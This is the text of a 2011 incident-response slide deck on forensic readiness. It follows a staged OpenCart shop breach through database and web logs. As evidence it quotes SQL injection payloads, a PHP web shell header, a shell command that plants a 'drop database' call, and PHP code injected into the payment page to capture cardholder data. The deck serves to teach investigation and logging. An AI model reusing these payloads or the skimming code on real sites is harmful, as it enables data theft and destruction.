Forensic Readiness
Give Your Investigators a Fighting Chance

Presenter: Ryan Jones
Job title: Incident Response, Managing Consultant
Date: 24th August 2011
About Ryan Jones

Past Experience

• University of Kent - Computer Science BSc
• NHTCU & SOCA e-Crime
• 7Safe

Current role

• Managing Consultant - Incident Response EMEA Trustwave SpiderLabs
Agenda

• Preparation Complementing Prevention

• Incident Investigation - Default Logging

• Incident Readiness

• Incident Investigation - Hyper Logging

• Conclusion
Before we start

- Exploited vulnerabilities introduced by Trustwave
  - Released software does not have these

- Thanks to Tom Mackenzie for breaking things
Preparation complementing Prevention

What is Incident Readiness?

• Making sure you know who should respond
• Making sure it gets detected
• Making sure the right people are notified
• Making sure you have a plan

Giving your investigators a fighting chance!
Preparation complementing Prevention

Why do I need incident readiness or incident response?

• Information Security Best Practice
• Developers trained in secure programming
• SDLC processes and procedures in place
• No pressure to release if any security vulnerabilities
• Regular security testing of applications
• Infrastructure doesn’t leave you vulnerable
Preparation complementing Prevention

Why do I need incident readiness or incident response?

• As long as you can do those things perfectly

• Are you perfect?

• Why are you here?
Investigation

Background

- 2AM - Website/Shopping Cart stopped working
- 9AM - DBA realised that the whole DB had disappeared
- 10AM - DB restored and back online

- Recent Changes?
- Change to payment processing code six days before
- No code changes since
- Brief: Was it a security issue?
Evidence Sources

- Database Logs
  - Strange Logins
  - ‘Drop’ commands

- Web Logs
  - SQL Injection
## Database Logs

<table>
<thead>
<tr>
<th>Log Type</th>
<th>Available?</th>
</tr>
</thead>
<tbody>
<tr>
<td>Error log</td>
<td>Yes</td>
</tr>
<tr>
<td>General Query Log</td>
<td>No</td>
</tr>
<tr>
<td>Binary Log</td>
<td>No</td>
</tr>
<tr>
<td>Slow Query Log</td>
<td>No</td>
</tr>
</tbody>
</table>
Database Logs - Error Log

- "The error log contains information indicating when mysqld was started and stopped and also any critical errors that occur while the server is running. If mysqld notices a table that needs to be automatically checked or repaired, it writes a message to the error log."

   - MySQL 5.0 Reference Manual

Empty
Investigation

• Website Logs - Investigation Steps
• Logs for the past year are stored
• Search for:
  – SQL Injection
  – Fields: GET, HTTP Referer, User-Agent
  – select, union, --, conv, cast, convert, etc.
Investigation

Website Logs - Search Results

GET /opencart/index.php?route=information/information&information_id=%22+and+row(1%2c1)%3e(select+count(*)%2cconcat(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1)+or+%221%22%3D%22 HTTP/1.1 200 4764 "http://shop.rj-hack-tw.tw/opencart/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)"
Investigation

Website Logs - Search Results

• A number of log lines like this, way before the incident

Investigation

Reporting

• No evidence in log files showing successful SQL Injection
• Log files entries were found with a large amount of SQLi attempts

Maybe:

• SQLi vulnerabilities exist - Depending on detail of work
Incident Readiness

Focus on web application technical measures for this session

- What attack vectors there are?
- In the event of an incident, what would we want to look at?
- Make it happen
Incident Readiness

Changes Made

• mod_security installed to log requests in verbose form
• Verbose database logging enabled - every DB request
• Subversion server setup with change management
• Policies to define how code moves from Dev to Prod
Investigation Revisited

Background

• 2AM - Website/ Shopping Cart stopped working
• 9AM - DBA realised that the whole DB had disappeared
• 10AM - DB restored and back online

• Recent Changes?
• Change to payment processing code six days before
• No code changes since
• Brief: Was it a security issue?
Investigation Revisited

Evidence Sources

• Database Logs
  – Strange Logins?
  – ‘Drop’ commands

• Web Logs
  – SQL Injection
# Investigation Revisited

## Database Logs

<table>
<thead>
<tr>
<th>Log Type</th>
<th>Original Investigation</th>
<th>Post Incident Readiness</th>
</tr>
</thead>
<tbody>
<tr>
<td>Error log</td>
<td>Yes – Empty</td>
<td>Yes – Empty</td>
</tr>
<tr>
<td>General Query Log</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td>Binary Log</td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td>Slow Query Log</td>
<td>No</td>
<td>No</td>
</tr>
</tbody>
</table>
Investigation Revisited

Database Logs - General Query Log

“The general query log is a general record of what mysqld is doing. The server writes information to this log when clients connect or disconnect, and it logs each SQL statement received from clients. The general query log can be very useful when you suspect an error in a client and want to know exactly what the client sent to mysqld.”

- MySQL 5.0 Reference Manual
Investigation Revisited

Database Logs - General Query Log

- Connect oc@localhost on x1,000s
- All connections from user ‘oc’ - Website user
- All connections from localhost
- Quickly rule out remote connections to MySQL
- Quickly rule out a compromise of the root account
Investigation Revisited

Database Logs - General Query Log

• Drop Command found

• 110818 10:59:22 323 Connect oc@localhost on 

... 

323 Init DB oc 

323 Query drop database oc 

323 Quit
Investigation Revisited

Database Logs - General Query Log

- Remember sqlmap?
- Many SQL Injection Queries
- Extracting admin password hash for web application
Investigation Revisited

Database Logs - General Query Log

2617 Query   SELECT * FROM coupon c LEFT JOIN coupon_description cd ON (c.coupon_id = cd.coupon_id) WHERE cd.language_id = '1' AND c.code = '222' AND (SELECT 2326 FROM(SELECT COUNT(*),CONCAT (CHAR(58,114,119,101,58),(SELECT MID((IFNULL(CAST(date_added AS CHAR),CHAR(32))),1,50) FROM oc.user LIMIT 0,1),CHAR(58,116,116,98,58), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'uNFK'='uNFK' AND ((date_start = '0000-00-00' OR date_start < NOW()) AND (date_end = '0000-00-00' OR date_end > NOW())) AND c.status = '1'
Investigation Revisited

Web logs

- At the time of the drop table?
  - XXX.XXX.XXX.XXX - - [18/Aug/2011:01:59:22 -0400] "GET /opencart/index.php HTTP/1.1" 200 5028 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0"
Investigation Revisited

Web logs - Verbose

• Looking back...
  – Access to ‘s.php’ just before the database was dropped
  – ‘s.php’ has been deleted
  – Malware?
Investigation Revisited

Web logs - Verbose (logs to the rescue!)

- The actual malware files themselves
- Exact actions performed by attacker using malware.
- The SQL Injection statements
  - GET
  - POST
  - cookie based
  - HTTP Referer
  - User Agent
  - etc
Web logs - Verbose (logs to the rescue!)

Web logs - Verbose (logs to the rescue!)

• The malware itself

```php
<?php // -*- coding: utf-8 -*-

define('PHPSHELL_VERSION', '2.2');
/

******************************************************************************

* PHP Shell *

******************************************************************************
```
Web logs - Verbose (logs to the rescue!)

- Commands run by attacker with malware

```bash
command=tail+index.php+%7C+sed+%7Cs%2F%5C3F%3E2Fmysql_connect%28%22localhost%22%2C%22oc%22%2C%22test%22%29+or+die%28mysql_error%28%29%29+or+die%28mysql_error%28%29%29+or+die%28mysql_error%28%29%29+or+die%28mysql_error%28%29%29
```
Web logs - Verbose (logs to the rescue!)

- Commands run by attacker with malware

```
tail index.php |
sed 's/\?>
mysql_connect("localhost","oc","test");
mysql_select_db("oc") or die(mysql_error());
$result = mysql_query("drop database oc")
/`
```
Investigation Revisited

Web logs - Verbose (logs to the rescue!)

- SQL Injection Queries

  coupon=222%27%20AND%20%28SELECT%204875%20FROM%28SELECT%20COU
  NT%2A%29%2CCONCAT%28CHAR%2858%2C115%2C109%2C120%2C58%29%2
  C%28SELECT%20MID%28%28%28CASE%20WHEN%20%28USER%28%29%3DUSER
  %29%29%20THEN%201%20ELSE%200%20END%29%2C1%2C50%29%29%29%2
  CCHAR%2858%2C118%2C110%2C108%2C58%29%2CFLOOR%28RAND%280%29%2
  A2%29%29x%20FROM%20information_schema.tables%20GROUP%20BY%20x
  %29a%29%20AND%20%27bgPX%27%3D%27bgPX
Web logs - Verbose (logs to the rescue!)

```php
#######haxed#############################
@$textd = $shopper_message;
$textd = bin2hex($textd);
@$filenamex = time();
@$filenowd = ";/var/www/opencart/image/data/".$filenamex.".xml";
if (@!file_exists(@$filenowd)) touch(@$filenowd);
@$filezz = fopen($filenowd, 'a', 1);
fwrite($filezz, $textd);
fclose($filezz);
#######haxed#################################
```
Investigation Revisited

Reporting

- Blind SQL Injection carried out - Attacker extracted password hash for admin user.
- Attacker then logged into admin interface
- Added malicious code to the payment page
- Payment page then logged all cardholder data
- Attacker returned daily to download cardholder data
- Payment page change - No more cardholder data
- Drop database for the lulz
Conclusion

Realistic?

- Multinational Hotel Chain
  - Database began running REALLY slow - table indexes deleted
  - No decent information for an investigation
  - “Oh well, we have it restored now”

- Web Based Merchant
  - SQL injection - Sensitive data: clear text in DB
  - Problem “fixed” by no longer storing data
  - Attacker retaliates by taking down website
Conclusion

Incident Readiness Really Makes a Difference

• More likely to find the cause
• Find it faster
• More accurately
• With more definitive conclusions
• Extra Bonus - Fault Finding, Marketing
Conclusion

Difficult Issues

• Logging everything is not often practical
  – Data storage capacity
  – May include sensitive data
  – May have significant performance impact

• Logging decisions based on each application

• One size does not fit all

Ryan Jones  ryan.jones@trustwave.com
Managing Consultant, Incident Response (EMEA), Trustwave SpiderLabs